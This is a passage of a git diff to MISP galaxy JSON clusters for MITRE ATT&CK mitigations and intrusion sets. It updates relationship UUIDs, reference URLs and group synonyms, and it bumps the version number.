"6be14413-578e-46c1-8304-310762b3ecd5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15939,7 +12673,7 @@ "type": "mitigates" }, { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16112,7 +12846,7 @@ "type": "mitigates" }, { - "dest-uuid": "04ef4356-8926-45e2-9441-634b6f3dcecb", + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16132,13 +12866,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0cf55441-b176-4332-89e7-2c4c7799d0ff", "tags": [ @@ -16188,13 +12915,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "27960489-4e7f-461d-a62a-f5c0cb521e4a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "28abec6c-4443-4b03-8206-07f2e264a6b4", "tags": [ @@ -16223,13 +12943,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ @@ -16286,6 +12999,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ @@ -16294,7 +13014,7 @@ "type": "mitigates" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "438c967d-3996-4870-bfc2-3954752a1927", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16315,7 +13035,7 @@ "type": "mitigates" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16342,13 +13062,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", "tags": [ @@ -16377,13 +13090,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ @@ -16490,7 +13196,7 @@ "type": "mitigates" }, { - "dest-uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "dest-uuid": "90c4a591-d02d-490b-92aa-619d9701ac04", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16503,6 +13209,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "9664ad0e-789e-40ac-82e2-d7b17fbe8fb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", "tags": [ @@ -16539,7 +13252,7 @@ "type": "mitigates" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16559,13 +13272,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", "tags": [ @@ -16573,20 +13279,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ @@ -16683,5 +13375,5 @@ "value": "Audit - M1047" } ], - "version": 25 + "version": 26 } diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index 50e43f1..da49cea 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -395,6 +395,13 @@ ], "type": "uses" }, + { + "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ @@ -752,6 +759,13 @@ ], "type": "uses" }, + { + "dest-uuid": "e7cbc1de-1f79-48ee-abfd-da1241c65a15", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ @@ -1449,13 +1463,13 @@ "https://blog.morphisec.com/cobalt-gang-2.0", "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report", + "https://web.archive.org/web/20190508170147/https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/", + "https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/", "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain", "https://www.group-ib.com/blog/cobalt", "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target", "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf", - "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/", - "https://www.riskiq.com/blog/labs/cobalt-strike/", "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish" ], "synonyms": [ @@ -1613,13 +1627,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ @@ -1669,6 +1676,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -2224,13 +2238,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", "tags": [ @@ -2273,6 +2280,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -2515,6 +2529,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ @@ -3750,11 +3771,11 @@ "meta": { "external_id": "G0032", "refs": [ - "https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/", "https://attack.mitre.org/groups/G0032", "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/", "https://home.treasury.gov/news/press-releases/sm774", "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", + "https://web.archive.org/web/20210723190317/https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/", "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing", "https://www.us-cert.gov/ncas/alerts/TA17-164A", "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" @@ -3818,13 +3839,6 @@ ], "type": "uses" }, - { - "dest-uuid": "0715560d-4299-4e84-9e20-6e80ab57e4f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -3909,13 +3923,6 @@ ], "type": "uses" }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -3944,13 +3951,6 @@ ], "type": "uses" }, - { - "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ @@ -4028,13 +4028,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", "tags": [ @@ -4056,13 +4049,6 @@ ], "type": "uses" }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "454fe82d-6fd2-4ac6-91ab-28a33fe01369", "tags": [ @@ -4119,13 +4105,6 @@ ], "type": "uses" }, - { - "dest-uuid": "506f6f49-7045-4156-9007-7474cb44ad6d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ @@ -4147,13 +4126,6 @@ ], "type": "uses" }, - { - "dest-uuid": "60c4b628-4807-4b0b-bbf5-fdac8643c337", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", "tags": [ @@ -4315,13 +4287,6 @@ ], "type": "uses" }, - { - "dest-uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9b325b06-35a1-457d-be46-a4ecc0b7ff0c", "tags": [ @@ -4336,13 +4301,6 @@ ], "type": "uses" }, - { - "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ @@ -4385,13 +4343,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "aad11e34-02ca-4220-91cd-2ed420af4db3", "tags": [ @@ -4434,20 +4385,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "bd0536d7-b081-43ae-a773-cfb057c5b988", "tags": [ @@ -4476,13 +4413,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de", "tags": [ @@ -4490,13 +4420,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ @@ -4511,20 +4434,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc723aff-ec88-40e3-a224-5af9fd983cc4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -4553,20 +4462,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -4616,13 +4511,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e7cbc1de-1f79-48ee-abfd-da1241c65a15", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e928333f-f3df-4039-9b8b-556c2add0e42", "tags": [ @@ -4644,13 +4532,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ @@ -4658,13 +4539,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", "tags": [ @@ -4707,13 +4581,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fb640c43-aa6b-431e-a961-a279010424ac", "tags": [ @@ -4983,6 +4850,7 @@ "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/", "https://www.justice.gov/opa/page/file/1098481/download", "https://www.justice.gov/opa/press-release/file/1328521/download", + "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/", "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory", "https://www.secureworks.com/research/threat-profiles/iron-viking" ], @@ -4993,7 +4861,8 @@ "IRON VIKING", "BlackEnergy (Group)", "Quedagh", - "Voodoo Bear" + "Voodoo Bear", + "IRIDIUM" ] }, "related": [ @@ -5088,6 +4957,13 @@ ], "type": "uses" }, + { + "dest-uuid": "1da748a5-875d-4212-9222-b4c23ab861be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ @@ -5109,6 +4985,13 @@ ], "type": "uses" }, + { + "dest-uuid": "26c87906-d750-42c5-946c-d4162c73fc7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "2b5aa86b-a0df-4382-848d-30abea443327", "tags": [ @@ -5214,13 +5097,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ @@ -5284,13 +5160,6 @@ ], "type": "uses" }, - { - "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "69f897fd-12a9-4c89-ad6a-46d2f3c38262", "tags": [ @@ -5299,14 +5168,14 @@ "type": "uses" }, { - "dest-uuid": "6ee2dc99-91ad-4534-a7d8-a649358c331f", + "dest-uuid": "6a0d0ea9-b2c4-43fe-a552-ac41a3009dc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "dest-uuid": "6ee2dc99-91ad-4534-a7d8-a649358c331f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5354,6 +5223,13 @@ ], "type": "uses" }, + { + "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -5389,13 +5265,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -5452,6 +5321,13 @@ ], "type": "uses" }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "baf60e1a-afe5-4d31-830f-1b1ba2351884", "tags": [ @@ -5501,13 +5377,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ @@ -5516,14 +5385,14 @@ "type": "uses" }, { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5543,13 +5412,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e221eb77-1502-4129-af1d-fe1ad55e7ec6", "tags": [ @@ -5585,6 +5447,13 @@ ], "type": "uses" }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ @@ -5599,13 +5468,6 @@ ], "type": "similar" }, - { - "dest-uuid": "f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "tags": [ @@ -5758,12 +5620,12 @@ "meta": { "external_id": "G0044", "refs": [ - "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates", "https://401trg.github.io/pages/burning-umbrella.html", "https://attack.mitre.org/groups/G0044", "https://securelist.com/games-are-over/70991/", - "https://securelist.com/winnti-more-than-just-a-game/37029/" + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" ], "synonyms": [ "Winnti Group", @@ -6193,6 +6055,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d52291b4-bb23-45a8-aef0-3dc7e986ba15", "tags": [ @@ -6329,6 +6198,20 @@ ], "type": "uses" }, + { + "dest-uuid": "0dda99f0-4701-48ca-9774-8504922e92d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", "tags": [ @@ -6357,6 +6240,13 @@ ], "type": "uses" }, + { + "dest-uuid": "26c87906-d750-42c5-946c-d4162c73fc7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "294e2560-bd48-44b2-9da2-833b5588ad11", "tags": [ @@ -6434,6 +6324,13 @@ ], "type": "uses" }, + { + "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", "tags": [ @@ -6455,6 +6352,20 @@ ], "type": "uses" }, + { + "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4", "tags": [ @@ -6497,6 +6408,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6151cbea-819b-455a-9fa6-99a1cc58797d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ @@ -6532,6 +6450,20 @@ ], "type": "uses" }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "tags": [ @@ -6546,6 +6478,13 @@ ], "type": "uses" }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ @@ -6553,6 +6492,13 @@ ], "type": "uses" }, + { + "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "86724806-7ec9-4a48-a0a7-ecbde3bf4810", "tags": [ @@ -6595,6 +6541,13 @@ ], "type": "similar" }, + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", "tags": [ @@ -6644,6 +6597,27 @@ ], "type": "uses" }, + { + "dest-uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "ba724df5-9aa0-45ca-8e0e-7101c208ae48", "tags": [ @@ -6651,6 +6625,13 @@ ], "type": "similar" }, + { + "dest-uuid": "baf60e1a-afe5-4d31-830f-1b1ba2351884", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "bc76d0a4-db11-4551-9ac4-01a469cfb161", "tags": [ @@ -6666,7 +6647,14 @@ "type": "uses" }, { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6693,6 +6681,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d56c99fa-4710-472c-81a6-41b7a84ea4be", "tags": [ @@ -6728,6 +6723,20 @@ ], "type": "uses" }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148", "tags": [ @@ -6756,6 +6765,13 @@ ], "type": "uses" }, + { + "dest-uuid": "ed730f20-0e44-48b9-85f8-0e2adeb76867", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ @@ -6815,89 +6831,12 @@ ] }, "related": [ - { - "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "revoked-by" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - 